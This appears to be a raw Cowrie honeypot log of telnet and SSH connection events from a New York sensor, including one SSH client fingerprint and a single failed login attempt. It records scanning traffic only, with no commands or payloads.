{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":47868,"dst_ip":"159.203.135.109","dst_port":23,"session":"6180ab73eff9","protocol":"telnet","message":"New connection: 85.208.100.77:47868 (159.203.135.109:23) [session: 6180ab73eff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.840249Z"}
{"eventid":"cowrie.session.closed","duration":30.138498544692993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:55.029835Z","src_ip":"51.79.21.139","session":"cc457ab14ce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653260469436646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:55.082185Z","src_ip":"85.208.100.77","session":"c4920848d638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.212653875350952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:55.180772Z","src_ip":"51.79.21.139","session":"e6b7dd061b2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45106,"dst_ip":"159.203.135.109","dst_port":23,"session":"777fa23db835","protocol":"telnet","message":"New connection: 81.30.157.18:45106 (159.203.135.109:23) [session: 777fa23db835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:55.320651Z"}
{"eventid":"cowrie.session.closed","duration":30.214892864227295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:55.487242Z","src_ip":"168.119.91.149","session":"7e743a822e5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.773306608200073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:55.746898Z","src_ip":"81.30.157.18","session":"424abd77f2a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":33046,"dst_ip":"159.203.135.109","dst_port":23,"session":"67efe8c6f178","protocol":"telnet","message":"New connection: 37.187.24.227:33046 (159.203.135.109:23) [session: 67efe8c6f178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:55.871088Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45122,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4282e7e1fd","protocol":"telnet","message":"New connection: 81.30.157.18:45122 (159.203.135.109:23) [session: 5e4282e7e1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:55.875274Z"}
{"eventid":"cowrie.session.closed","duration":31.030755281448364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.049349Z","src_ip":"81.30.157.18","session":"f7a220c33934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897155284881592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.111335Z","src_ip":"37.187.24.227","session":"3eaf7b1a48df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":37358,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b9b8feef3cc","protocol":"telnet","message":"New connection: 168.119.91.149:37358 (159.203.135.109:23) [session: 0b9b8feef3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.223265Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45130,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e39cb2f8daf","protocol":"telnet","message":"New connection: 81.30.157.18:45130 (159.203.135.109:23) [session: 5e39cb2f8daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.278787Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":37364,"dst_ip":"159.203.135.109","dst_port":23,"session":"8403256e3238","protocol":"telnet","message":"New connection: 168.119.91.149:37364 (159.203.135.109:23) [session: 8403256e3238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.296390Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45140,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c54245f9eb8","protocol":"telnet","message":"New connection: 81.30.157.18:45140 (159.203.135.109:23) [session: 2c54245f9eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.492082Z"}
{"eventid":"cowrie.session.closed","duration":30.905335664749146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.589622Z","src_ip":"168.119.91.149","session":"e10c1984c531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60942,"dst_ip":"10.17.0.5","dst_port":22,"session":"f81d5f37d413","protocol":"ssh","message":"New connection: 80.94.92.184:60942 (10.17.0.5:22) [session: f81d5f37d413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.690121Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45150,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0afbb65984","protocol":"telnet","message":"New connection: 81.30.157.18:45150 (159.203.135.109:23) [session: fb0afbb65984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.713885Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45154,"dst_ip":"159.203.135.109","dst_port":23,"session":"03f51d81e29b","protocol":"telnet","message":"New connection: 81.30.157.18:45154 (159.203.135.109:23) [session: 03f51d81e29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.769542Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52218,"dst_ip":"159.203.135.109","dst_port":23,"session":"98669949e018","protocol":"telnet","message":"New connection: 147.135.136.77:52218 (159.203.135.109:23) [session: 98669949e018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.844379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.914627Z","src_ip":"80.94.92.184","session":"f81d5f37d413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.918006Z","src_ip":"80.94.92.184","session":"f81d5f37d413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":37376,"dst_ip":"159.203.135.109","dst_port":23,"session":"10765445a87a","protocol":"telnet","message":"New connection: 168.119.91.149:37376 (159.203.135.109:23) [session: 10765445a87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:56.930633Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":55982,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ef2b502676b","protocol":"telnet","message":"New connection: 46.101.32.143:55982 (159.203.135.109:23) [session: 8ef2b502676b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:57.156643Z"}
{"eventid":"cowrie.session.closed","duration":30.486799478530884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:57.171255Z","src_ip":"85.208.100.77","session":"c6c01e764e2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22491431236267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:57.209616Z","src_ip":"147.135.136.77","session":"6b593a92be9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010069847106934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:57.230786Z","src_ip":"147.135.136.77","session":"a15a794fa29e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":36714,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0ea29daa339","protocol":"telnet","message":"New connection: 37.187.24.227:36714 (159.203.135.109:23) [session: e0ea29daa339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:57.294049Z"}
{"eventid":"cowrie.session.closed","duration":12.994476795196533,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:57.309307Z","src_ip":"37.236.163.65","session":"9f111dcaeda7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882558584213257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:57.352507Z","src_ip":"81.30.157.18","session":"e770cb14cdc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":37112,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c459725f6de","protocol":"telnet","message":"New connection: 37.187.24.227:37112 (159.203.135.109:23) [session: 9c459725f6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:57.435473Z"}
{"eventid":"cowrie.session.closed","duration":30.4428391456604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.071870Z","src_ip":"149.102.133.101","session":"ac035741af3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.667938709259033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.203410Z","src_ip":"81.30.157.18","session":"6f14bb660df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45158,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aa5e22fe6f2","protocol":"telnet","message":"New connection: 81.30.157.18:45158 (159.203.135.109:23) [session: 9aa5e22fe6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.221553Z"}
{"eventid":"cowrie.session.closed","duration":31.022303819656372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.261593Z","src_ip":"147.135.136.77","session":"3d6f0ffd82c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.710362434387207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.312539Z","src_ip":"168.119.91.149","session":"d99f2298dfec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45160,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0ce5a86ad14","protocol":"telnet","message":"New connection: 81.30.157.18:45160 (159.203.135.109:23) [session: e0ce5a86ad14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.402214Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.408023Z","src_ip":"80.94.92.184","session":"f81d5f37d413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45164,"dst_ip":"159.203.135.109","dst_port":23,"session":"2679461afed2","protocol":"telnet","message":"New connection: 81.30.157.18:45164 (159.203.135.109:23) [session: 2679461afed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.417737Z"}
{"eventid":"cowrie.session.closed","duration":30.703769207000732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.478443Z","src_ip":"168.119.91.149","session":"fd368e434c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.232137203216553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.511983Z","src_ip":"168.119.91.149","session":"c34a10880f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41373610496521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:58.791251Z","src_ip":"81.30.157.18","session":"95109f30d66c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45180,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de265143642","protocol":"telnet","message":"New connection: 81.30.157.18:45180 (159.203.135.109:23) [session: 9de265143642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.039209Z"}
{"eventid":"cowrie.session.closed","duration":30.955841541290283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.063068Z","src_ip":"147.135.136.77","session":"d6f5cfd29d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785104990005493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.074490Z","src_ip":"81.30.157.18","session":"2a7100753105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89140772819519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.079421Z","src_ip":"37.187.24.227","session":"11295dd07dc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789758920669556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.082655Z","src_ip":"37.187.24.227","session":"e42154738fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878870010375977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.164437Z","src_ip":"37.187.24.227","session":"3718ba4a5062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45196,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fb57844b008","protocol":"telnet","message":"New connection: 81.30.157.18:45196 (159.203.135.109:23) [session: 7fb57844b008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.212557Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57790,"dst_ip":"159.203.135.109","dst_port":23,"session":"46e5c5a7ec41","protocol":"telnet","message":"New connection: 168.119.91.149:57790 (159.203.135.109:23) [session: 46e5c5a7ec41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.273414Z"}
{"eventid":"cowrie.session.closed","duration":30.747159242630005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.501698Z","src_ip":"168.119.91.149","session":"246ffb117624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":56576,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb1b0b7c0c5e","protocol":"telnet","message":"New connection: 85.208.100.77:56576 (159.203.135.109:23) [session: cb1b0b7c0c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.555899Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45212,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e4e7b82c3a6","protocol":"telnet","message":"New connection: 81.30.157.18:45212 (159.203.135.109:23) [session: 3e4e7b82c3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.622735Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.706192Z","src_ip":"80.94.92.184","session":"f81d5f37d413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57792,"dst_ip":"159.203.135.109","dst_port":23,"session":"29fac227f755","protocol":"telnet","message":"New connection: 168.119.91.149:57792 (159.203.135.109:23) [session: 29fac227f755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.739001Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57808,"dst_ip":"159.203.135.109","dst_port":23,"session":"646151d46ad2","protocol":"telnet","message":"New connection: 168.119.91.149:57808 (159.203.135.109:23) [session: 646151d46ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:59.775129Z"}
{"eventid":"cowrie.session.closed","duration":30.857813596725464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.043603Z","src_ip":"37.187.24.227","session":"076e3661ddff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524519681930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.070786Z","src_ip":"37.187.24.227","session":"81daa53de076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44143795967102,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.082756Z","src_ip":"37.187.24.227","session":"48cdfd31df62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82899808883667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.476452Z","src_ip":"168.119.91.149","session":"0ef7e0483950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24402928352356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.532473Z","src_ip":"168.119.91.149","session":"046440ad4924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.375853061676025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.581390Z","src_ip":"168.119.91.149","session":"87c09bc3c3ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934369325637817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.636544Z","src_ip":"168.119.91.149","session":"6faeab76acba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57812,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b148ff17874","protocol":"telnet","message":"New connection: 168.119.91.149:57812 (159.203.135.109:23) [session: 6b148ff17874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.654522Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57814,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ad7d825113","protocol":"telnet","message":"New connection: 168.119.91.149:57814 (159.203.135.109:23) [session: 16ad7d825113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.729946Z"}
{"eventid":"cowrie.session.closed","duration":31.661776304244995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:00.982100Z","src_ip":"81.30.157.18","session":"8d8f4de09246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702975273132324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.076553Z","src_ip":"81.30.157.18","session":"9f0b6c7f488f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596301317214966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.117728Z","src_ip":"85.208.100.77","session":"2ebe91b7e14d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.92672872543335,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.132511Z","src_ip":"147.135.136.77","session":"9d1ded2edcef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46792,"dst_ip":"159.203.135.109","dst_port":23,"session":"d021cfb76c59","protocol":"telnet","message":"New connection: 37.187.24.227:46792 (159.203.135.109:23) [session: d021cfb76c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.284711Z"}
{"eventid":"cowrie.session.closed","duration":30.335558891296387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.506654Z","src_ip":"168.119.91.149","session":"6217b42bfe4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.351136922836304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.526914Z","src_ip":"168.119.91.149","session":"8cbcb34f1302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513421058654785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.593454Z","src_ip":"206.189.139.22","session":"db3ddc94d4c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57830,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d066420b897","protocol":"telnet","message":"New connection: 168.119.91.149:57830 (159.203.135.109:23) [session: 6d066420b897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.655334Z"}
{"eventid":"cowrie.session.closed","duration":31.207180738449097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:01.806685Z","src_ip":"81.30.157.18","session":"ba6508ee69ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45226,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d439a486c27","protocol":"telnet","message":"New connection: 81.30.157.18:45226 (159.203.135.109:23) [session: 0d439a486c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.007377Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45240,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ca8c375b12","protocol":"telnet","message":"New connection: 81.30.157.18:45240 (159.203.135.109:23) [session: 30ca8c375b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.132801Z"}
{"eventid":"cowrie.session.closed","duration":30.52528691291809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.142066Z","src_ip":"81.30.157.18","session":"b3489eb94f4e","protocol":"telnet"}
